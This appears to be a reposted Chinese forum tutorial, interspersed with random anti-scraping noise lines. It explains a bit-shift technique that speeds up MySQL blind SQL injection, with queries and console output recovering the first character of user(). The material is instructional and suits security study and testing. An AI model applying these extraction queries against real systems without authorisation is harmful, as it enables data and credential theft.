关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
3 ]+ |  h& B: Y# v

. {& W  B- x. Y9 ]0 ^* L
( y. i/ Q! e& }3 M+ Z下面将以查询mysql数据库当中user()的第一位为例:

2 S! t$ _3 H  `* r+ E3 \
& h$ A2 p# x/ [5 y2 E
# J+ T4 e- A; W# s1 O2 \6 D% wps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)


4 \6 t8 }6 v) v$ N: C1 A/ K- F
首先执行如下sql语句:

3 c9 W( N$ L1 w

mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
7 Y. {) M( S# H
/ f  i7 q4 f9 R( q

& b! ~. F; L# `1 F, `* m. T7 S  J我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的



第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1


, D1 ]0 `0 R/ R
, b" t0 Y9 e8 y& q7 @4 m如果运算结果为1,说明第一位为0,不为1
  S1 y' I* T; B+ j, _

9 f2 O/ U* C% m1 F( Z
0 m, _; r7 h0 S+————————————–+

| (ascii((substr(user(),1,1))) >> 7)=0 |

* t5 A1 i% @/ W0 v) \+————————————–+

| 1 |
3 ]% l  P! x' j  v
+————————————–+
9 V' R1 a. ~' T
1 {* y/ u$ {) P6 d, K) f# _" h1 row in set (0.00 sec)
- v, g9 P/ U& H, l2 X: i8 w' W4 M
这样我们就确定这个8bit的ascii的第一位为0



第二次我们来做6次右偏移来确定前两位

8 v! Q8 w8 {8 N3 ?4 a$ u! j; C

前两位可能是01或00,即依然可以与0做比较,

mysql> select (ascii((substr(user(),1,1))) >> 6)=0;

+————————————–+

| (ascii((substr(user(),1,1))) >> 6)=0 |
; o* t  T. [- H+ }0 M) J+ s2 [
+————————————–+

| 0 |
+ h  b8 g" A  x* P5 p/ v
+————————————–+
! p  w* s3 ~( M9 W2 g3 X
1 row in set (0.00 sec)

( e: G9 p6 N8 f/ v3 t1 Y8 P. {4 a# D
6 ~* ~% z' e% v
. z: D& k' ?. V) y0 D. l% y5 R结果为0,即第二位为1
0 a2 K0 j8 K* |2 N0 F0 J8 M% n


开始猜测前三位为010或011

4 n6 C$ g( S* \! t) L  _
2 E4 a( |  d% p9 Q2 O3 Z5 j$ M; m
让我们看看010和011的ascii码是多少

/ G1 }, ^2 i& b

' ^4 p- f, a, ?8 x/ Y% u* i& o1 o, [分别查询select b’011′ select b’010′
- d3 g# ]7 T. {

$ i3 W& }1 }( H6 y" B# U) j
" a7 C* `3 a/ w# y8 b3 o6 i8 _; E获得结果 010 = 2 011 = 3

! Y9 l7 G1 Q" d; x  g/ g" C$ W
0 o3 u* V! A  e7 h
4 i/ W; u1 H8 D. @1 ~2 y, }, N执行如下sql:



  D0 k# m  Q' Z  L% F6 N' emysql> select (ascii((substr(user(),1,1))) >> 5)=2;
; u2 F) `+ d7 A
4 \. Y; s5 C; T' A, A0 {7 l+————————————–+
0 f* ?7 r0 W) D2 v6 B5 z
5 i% U& X) T. w3 K  N- R! \" K| (ascii((substr(user(),1,1))) >> 5)=2 |
; q9 n9 {9 b% L2 t9 L
( k5 o  p5 Z1 L1 f5 s+————————————–+

- A7 n: F% m! B5 o| 0 |
/ m: g+ w' B/ C1 e$ ~* Q
+————————————–+
  P3 Z+ t' W5 s3 t5 p# d* L9 e2 y
7 O. d8 o4 Z7 b7 j即前三位不为010,而是011



直到获得最后一位

# W6 [  X% ^4 O* m  H
" o" A* e1 X) ]+ `2 C/ e
最终结果为:01110010



转换一下:


0 ~9 J- C$ X; W/ J
select b’01110010′

* [& k* e4 A  D3 X
- B% N9 ~; P1 M
查询结果
+ D' {* P/ P3 s2 h5 ?

8 g6 T5 j6 `" z# p  h7 u
; o  h- N8 `# L8 _- Z+————-+
- ?# `) M9 f0 [2 o, _
8 Z" f$ a5 C/ S# A5 Y| b’01110010′ |

+ j6 A5 e) X+ r+————-+

# W& I) n8 i' H8 S+ L- _6 W| r |
- Z% ~+ {- u( v4 O5 X
+————-+
' Q; t' `! s3 Z( Q7 V9 c, z
1 row in set (0.00 sec)

" e$ |- v% C; T, D2 B2 @2 b7 X
9 U: l# @2 t: {: [; }
这样我们就获得了user()的第一位.其它位依此类推

& A- Y: T9 O' U" f